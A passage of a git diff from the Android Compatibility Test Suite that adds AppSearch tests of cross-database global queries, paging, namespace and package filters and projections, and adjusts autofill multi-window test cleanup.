+ SearchSpec exactSearchSpec =
+ new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+ List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index a document to instance 1.
+ AppSearchEmail inEmail1 =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(inEmail1).build()));
+
+ // Index a document to instance 2.
+ AppSearchEmail inEmail2 =
+ new AppSearchEmail.Builder("uri2")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(inEmail2).build()));
+
+ // Query across all instances
+ List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+ assertAddedBetweenSnapshots(
+ beforeBodyDocuments, afterBodyDocuments, ImmutableList.of(inEmail1, inEmail2));
+ }
+
+ @Test
+ public void testGlobalQuery_getNextPage() throws Exception {
+ // Snapshot what documents may already exist on the device.
+ SearchSpec exactSearchSpec =
+ new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+ List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ List<AppSearchEmail> emailList = new ArrayList<>();
+ PutDocumentsRequest.Builder putDocumentsRequestBuilder = new PutDocumentsRequest.Builder();
+
+ // Index 31 documents
+ for (int i = 0; i < 31; i++) {
+ AppSearchEmail inEmail =
+ new AppSearchEmail.Builder("uri" + i)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ emailList.add(inEmail);
+ putDocumentsRequestBuilder.addGenericDocument(inEmail);
+ }
+ checkIsBatchResultSuccess(mDb1.putDocuments(putDocumentsRequestBuilder.build()));
+
+ // Set number of results per page is 7.
+ int pageSize = 7;
+ SearchResultsShim searchResults =
+ mGlobalAppSearchManager.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .setResultCountPerPage(pageSize)
+ .build());
+ List<GenericDocument> documents = new ArrayList<>();
+
+ int pageNumber = 0;
+ List<SearchResult> results;
+
+ // keep loading next page until it's empty.
+ do {
+ results = searchResults.getNextPage().get();
+ ++pageNumber;
+ for (SearchResult result : results) {
+ documents.add(result.getDocument());
+ }
+ } while (results.size() > 0);
+
+ // check all document presents
+ assertAddedBetweenSnapshots(beforeBodyDocuments, documents, emailList);
+
+ int totalDocuments = beforeBodyDocuments.size() + documents.size();
+
+ // +1 for final empty page
+ int expectedPages = (int) Math.ceil(totalDocuments * 1.0 / pageSize) + 1;
+ assertThat(pageNumber).isEqualTo(expectedPages);
+ }
+
+ @Test
+ public void testGlobalQuery_acrossTypes() throws Exception {
+ // Snapshot what documents may already exist on the device.
+ SearchSpec exactSearchSpec =
+ new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+ List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+ SearchSpec exactEmailSearchSpec =
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addSchemaType(AppSearchEmail.SCHEMA_TYPE)
+ .build();
+ List<GenericDocument> beforeBodyEmailDocuments =
+ snapshotResults("body", exactEmailSearchSpec);
+
+ // Schema registration
+ AppSearchSchema genericSchema =
+ new AppSearchSchema.Builder("Generic")
+ .addProperty(
+ new PropertyConfig.Builder("foo")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .build();
+
+ // db1 has both "Generic" and "builtin:Email"
+ mDb1.setSchema(
+ new SetSchemaRequest.Builder()
+ .addSchema(genericSchema)
+ .addSchema(AppSearchEmail.SCHEMA)
+ .build())
+ .get();
+
+ // db2 only has "builtin:Email"
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index a generic document into db1
+ GenericDocument genericDocument =
+ new GenericDocument.Builder<>("uri2", "Generic")
+ .setPropertyString("foo", "body")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(genericDocument)
+ .build()));
+
+ AppSearchEmail email =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+
+ // Put the email in both databases
+ checkIsBatchResultSuccess(
+ (mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email).build())));
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email).build()));
+
+ // Query for all documents across types
+ List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+ assertAddedBetweenSnapshots(
+ beforeBodyDocuments,
+ afterBodyDocuments,
+ ImmutableList.of(genericDocument, email, email));
+
+ // Query only for email documents
+ List<GenericDocument> afterBodyEmailDocuments =
+ snapshotResults("body", exactEmailSearchSpec);
+ assertAddedBetweenSnapshots(
+ beforeBodyEmailDocuments, afterBodyEmailDocuments, ImmutableList.of(email, email));
+ }
+
+ @Test
+ public void testGlobalQuery_namespaceFilter() throws Exception {
+ // Snapshot what documents may already exist on the device.
+ SearchSpec exactSearchSpec =
+ new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+ List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+ SearchSpec exactNamespace1SearchSpec =
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addNamespace("namespace1")
+ .build();
+ List<GenericDocument> beforeBodyNamespace1Documents =
+ snapshotResults("body", exactNamespace1SearchSpec);
+
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index two documents
+ AppSearchEmail document1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(document1).build()));
+
+ AppSearchEmail document2 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace2")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(document2).build()));
+
+ // Query for all namespaces
+ List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+ assertAddedBetweenSnapshots(
+ beforeBodyDocuments, afterBodyDocuments, ImmutableList.of(document1, document2));
+
+ // Query only for "namespace1"
+ List<GenericDocument> afterBodyNamespace1Documents =
+ snapshotResults("body", exactNamespace1SearchSpec);
+ assertAddedBetweenSnapshots(
+ beforeBodyNamespace1Documents,
+ afterBodyNamespace1Documents,
+ ImmutableList.of(document1));
+ }
+
+ @Test
+ public void testGlobalQuery_packageFilter() throws Exception {
+ // Snapshot what documents may already exist on the device.
+ SearchSpec otherPackageSearchSpec =
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addFilterPackageNames("some.other.package")
+ .build();
+ List<GenericDocument> beforeOtherPackageDocuments =
+ snapshotResults("body", otherPackageSearchSpec);
+
+ SearchSpec testPackageSearchSpec =
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addFilterPackageNames(
+ ApplicationProvider.getApplicationContext().getPackageName())
+ .build();
+ List<GenericDocument> beforeTestPackageDocuments =
+ snapshotResults("body", testPackageSearchSpec);
+
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index two documents
+ AppSearchEmail document1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(document1).build()));
+
+ AppSearchEmail document2 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace2")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(document2).build()));
+
+ // Query in some other package
+ List<GenericDocument> afterOtherPackageDocuments =
+ snapshotResults("body", otherPackageSearchSpec);
+ assertAddedBetweenSnapshots(
+ beforeOtherPackageDocuments, afterOtherPackageDocuments, Collections.emptyList());
+
+ // Query within our package
+ List<GenericDocument> afterTestPackageDocuments =
+ snapshotResults("body", testPackageSearchSpec);
+ assertAddedBetweenSnapshots(
+ beforeTestPackageDocuments,
+ afterTestPackageDocuments,
+ ImmutableList.of(document1, document2));
+ }
+
+ // TODO(b/175039682) Add test cases for wildcard projection once go/oag/1534646 is submitted.
+ @Test
+ public void testGlobalQuery_projectionTwoInstances() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index one document in each database.
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+ // Query with type property paths {"Email", ["subject", "to"]}
+ List<GenericDocument> documents =
+ snapshotResults(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+ .build());
+
+ // The two email documents should have been returned with only the "subject" and "to"
+ // properties.
+ AppSearchEmail expected1 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
+ AppSearchEmail expected2 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
+ assertThat(documents).containsExactly(expected1, expected2);
+ }
+
+ @Test
+ public void testGlobalQuery_projectionEmptyTwoInstances() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index one document in each database.
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+ // Query with type property paths {"Email", []}
+ List<GenericDocument> documents =
+ snapshotResults(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addProjection(AppSearchEmail.SCHEMA_TYPE, Collections.emptyList())
+ .build());
+
+ // The two email documents should have been returned without any properties.
+ AppSearchEmail expected1 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .build();
+ AppSearchEmail expected2 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .build();
+ assertThat(documents).containsExactly(expected1, expected2);
+ }
+
+ @Test
+ public void testGlobalQuery_projectionNonExistentTypeTwoInstances() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index one document in each database.
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+ // Query with type property paths {"NonExistentType", []}, {"Email", ["subject", "to"]}
+ List<GenericDocument> documents =
+ snapshotResults(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addProjection("NonExistentType", Collections.emptyList())
+ .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+ .build());
+
+ // The two email documents should have been returned with only the "subject" and "to"
+ // properties.
+ AppSearchEmail expected1 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
+ AppSearchEmail expected2 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
+ assertThat(documents).containsExactly(expected1, expected2);
+ }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java
new file mode 100644
index 0000000..e00064f
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.app.appsearch.SearchSpec;
+
+import org.junit.Test;
+
+public class SearchSpecCtsTest {
+ @Test
+ public void buildSearchSpecWithoutTermMatchType() {
+ RuntimeException e =
+ expectThrows(
+ RuntimeException.class,
+ () -> new SearchSpec.Builder().addSchemaType("testSchemaType").build());
+ assertThat(e).hasMessageThat().contains("Missing termMatchType field");
+ }
+
+ @Test
+ public void testBuildSearchSpec() {
+ SearchSpec searchSpec =
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .addNamespace("namespace1", "namespace2")
+ .addSchemaType("schemaTypes1", "schemaTypes2")
+ .addFilterPackageNames("package1", "package2")
+ .setSnippetCount(5)
+ .setSnippetCountPerProperty(10)
+ .setMaxSnippetSize(15)
+ .setResultCountPerPage(42)
+ .setOrder(SearchSpec.ORDER_ASCENDING)
+ .setRankingStrategy(SearchSpec.RANKING_STRATEGY_DOCUMENT_SCORE)
+ .build();
+
+ assertThat(searchSpec.getTermMatch()).isEqualTo(SearchSpec.TERM_MATCH_PREFIX);
+ assertThat(searchSpec.getNamespaces())
+ .containsExactly("namespace1", "namespace2")
+ .inOrder();
+ assertThat(searchSpec.getSchemaTypes())
+ .containsExactly("schemaTypes1", "schemaTypes2")
+ .inOrder();
+ assertThat(searchSpec.getPackageNames()).containsExactly("package1", "package2").inOrder();
+ assertThat(searchSpec.getSnippetCount()).isEqualTo(5);
+ assertThat(searchSpec.getSnippetCountPerProperty()).isEqualTo(10);
+ assertThat(searchSpec.getMaxSnippetSize()).isEqualTo(15);
+ assertThat(searchSpec.getResultCountPerPage()).isEqualTo(42);
+ assertThat(searchSpec.getOrder()).isEqualTo(SearchSpec.ORDER_ASCENDING);
+ assertThat(searchSpec.getRankingStrategy())
+ .isEqualTo(SearchSpec.RANKING_STRATEGY_DOCUMENT_SCORE);
+ }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/customer/CustomerDocumentTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/customer/CustomerDocumentTest.java
new file mode 100644
index 0000000..29b5754
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/customer/CustomerDocumentTest.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts.customer;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.annotation.NonNull;
+import android.app.appsearch.GenericDocument;
+
+import org.junit.Test;
+
+/**
+ * Tests that {@link GenericDocument} and {@link GenericDocument.Builder} are extendable by
+ * developers.
+ *
+ * <p>This class is intentionally in a different package than {@link GenericDocument} to make sure
+ * there are no package-private methods required for external developers to add custom types.
+ */
+public class CustomerDocumentTest {
+
+ private static final byte[] BYTE_ARRAY1 = new byte[] {(byte) 1, (byte) 2, (byte) 3};
+ private static final byte[] BYTE_ARRAY2 = new byte[] {(byte) 4, (byte) 5, (byte) 6};
+ private static final GenericDocument DOCUMENT_PROPERTIES1 =
+ new GenericDocument.Builder<>("sDocumentProperties1", "sDocumentPropertiesSchemaType1")
+ .build();
+ private static final GenericDocument DOCUMENT_PROPERTIES2 =
+ new GenericDocument.Builder<>("sDocumentProperties2", "sDocumentPropertiesSchemaType2")
+ .build();
+
+ @Test
+ public void testBuildCustomerDocument() {
+ CustomerDocument customerDocument =
+ new CustomerDocument.Builder("uri1")
+ .setScore(1)
+ .setCreationTimestampMillis(0)
+ .setPropertyLong("longKey1", 1L, 2L, 3L)
+ .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+ .setPropertyBoolean("booleanKey1", true, false, true)
+ .setPropertyString(
+ "stringKey1", "test-value1", "test-value2", "test-value3")
+ .setPropertyBytes("byteKey1", BYTE_ARRAY1, BYTE_ARRAY2)
+ .setPropertyDocument(
+ "documentKey1", DOCUMENT_PROPERTIES1, DOCUMENT_PROPERTIES2)
+ .build();
+
+ assertThat(customerDocument.getUri()).isEqualTo("uri1");
+ assertThat(customerDocument.getSchemaType()).isEqualTo("customerDocument");
+ assertThat(customerDocument.getScore()).isEqualTo(1);
+ assertThat(customerDocument.getCreationTimestampMillis()).isEqualTo(0L);
+ assertThat(customerDocument.getPropertyLongArray("longKey1"))
+ .asList()
+ .containsExactly(1L, 2L, 3L);
+ assertThat(customerDocument.getPropertyDoubleArray("doubleKey1"))
+ .usingExactEquality()
+ .containsExactly(1.0, 2.0, 3.0);
+ assertThat(customerDocument.getPropertyBooleanArray("booleanKey1"))
+ .asList()
+ .containsExactly(true, false, true);
+ assertThat(customerDocument.getPropertyStringArray("stringKey1"))
+ .asList()
+ .containsExactly("test-value1", "test-value2", "test-value3");
+ assertThat(customerDocument.getPropertyBytesArray("byteKey1"))
+ .asList()
+ .containsExactly(BYTE_ARRAY1, BYTE_ARRAY2);
+ assertThat(customerDocument.getPropertyDocumentArray("documentKey1"))
+ .asList()
+ .containsExactly(DOCUMENT_PROPERTIES1, DOCUMENT_PROPERTIES2);
+ }
+
+ /**
+ * An example document type for test purposes, defined outside of {@link GenericDocument} (the
+ * way an external developer would define it).
+ */
+ private static class CustomerDocument extends GenericDocument {
+ private CustomerDocument(GenericDocument document) {
+ super(document);
+ }
+
+ public static class Builder extends GenericDocument.Builder<CustomerDocument.Builder> {
+ private Builder(@NonNull String uri) {
+ super(uri, "customerDocument");
+ }
+
+ @Override
+ @NonNull
+ public CustomerDocument build() {
+ return new CustomerDocument(super.build());
+ }
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
index 3010239..5dd248c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
@@ -15,7 +15,6 @@
*/
package android.autofillservice.cts;
-import static android.app.ActivityTaskManager.SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT;
import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
@@ -68,6 +67,11 @@
}
@Override
+ protected void cleanAllActivities() {
+ MultiWindowEmptyActivity.finishAndWaitDestroy();
+ }
+
+ @Override
protected TestRule getMainTestRule() {
return RuleChain.outerRule(new AdoptShellPermissionsRule()).around(getActivityRule());
}
@@ -98,8 +102,7 @@
* Put activity in TOP, will be followed by amStartActivity()
*/
protected void splitWindow(Activity activity) {
- mAtm.setTaskWindowingModeSplitScreenPrimary(activity.getTaskId(),
- SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT, true, false, null, true);
+ mAtm.setTaskWindowingModeSplitScreenPrimary(activity.getTaskId(), true /* toTop */);
}
protected void amStartActivity(Class<? extends Activity> activity2) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowEmptyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowEmptyActivity.java
index 602efd2..75c9b18 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowEmptyActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowEmptyActivity.java
@@ -16,6 +16,7 @@
package android.autofillservice.cts.activities;
import android.autofillservice.cts.testcore.Timeouts;
+import android.util.Log;
import com.android.compatibility.common.util.RetryableException;
@@ -27,8 +28,10 @@
*/
public class MultiWindowEmptyActivity extends EmptyActivity {
+ private static final String TAG = "MultiWindowEmptyActivity";
private static MultiWindowEmptyActivity sLastInstance;
private static CountDownLatch sLastInstanceLatch;
+ private static CountDownLatch sDestroyLastInstanceLatch;
@Override
protected void onStart() {
@@ -55,10 +58,36 @@
public static MultiWindowEmptyActivity waitNewInstance() throws InterruptedException {
if (!sLastInstanceLatch.await(Timeouts.ACTIVITY_RESURRECTION.getMaxValue(),
TimeUnit.MILLISECONDS)) {
- throw new RetryableException("New MultiWindowLoginActivity didn't start",
+ throw new RetryableException("New MultiWindowEmptyActivity didn't start",
Timeouts.ACTIVITY_RESURRECTION);
}
sLastInstanceLatch = null;
return sLastInstance;
}
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+
+ if (sDestroyLastInstanceLatch != null) {
+ sDestroyLastInstanceLatch.countDown();
+ }
+ }
+
+ public static void finishAndWaitDestroy() {
+ if (sLastInstance != null) {
+ sLastInstance.finish();
+
+ sDestroyLastInstanceLatch = new CountDownLatch(1);
+ try {
+ sDestroyLastInstanceLatch.await(Timeouts.ACTIVITY_RESURRECTION.getMaxValue(),
+ TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ Log.e(TAG, "interrupted waiting for MultiWindowEmptyActivity to be destroyed");
+ Thread.currentThread().interrupt();
+ }
+ sDestroyLastInstanceLatch = null;
+ sLastInstance = null;
+ }
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
index 4faeaba..89bbbf5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
@@ -1032,7 +1032,7 @@
final AugmentedFillRequest request2 = sAugmentedReplier.getNextFillRequest();
// Assert 2nd request
- assertBasicRequestInfo(request2, mActivity, usernameId, "DOH");
+ assertBasicRequestInfo(request2, mActivity, usernameId, AutofillValue.forText("DOH"));
// Make sure UIs were not shown
mUiBot.assertNoDatasetsEver();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
index 1ca23be..879aa8e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
@@ -244,6 +244,7 @@
// exception:
// Could not launch intent Intent { ... } within 45 seconds.
mTestWatcher.cleanAllActivities();
+ cleanAllActivities();
});
private final AutofillLoggingTestRule mLoggingRule = new AutofillLoggingTestRule(TAG);
@@ -470,6 +471,12 @@
protected AutofillManager getAutofillManager() {
return mContext.getSystemService(AutofillManager.class);
}
+
+ /**
+ * Used to clean all activities that started by test case and does not control by the
+ * AutofillTestWatcher.
+ */
+ protected void cleanAllActivities() {}
}
protected static final UiBot sDefaultUiBot = new UiBot();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
index 46fcb1d..bae5a21 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
@@ -25,15 +25,18 @@
import android.autofillservice.cts.activities.MyWebView;
import android.autofillservice.cts.activities.WebViewActivity;
import android.autofillservice.cts.commontests.AugmentedAutofillAutoActivityLaunchTestCase;
+import android.autofillservice.cts.testcore.AugmentedHelper;
import android.autofillservice.cts.testcore.AutofillActivityTestRule;
import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
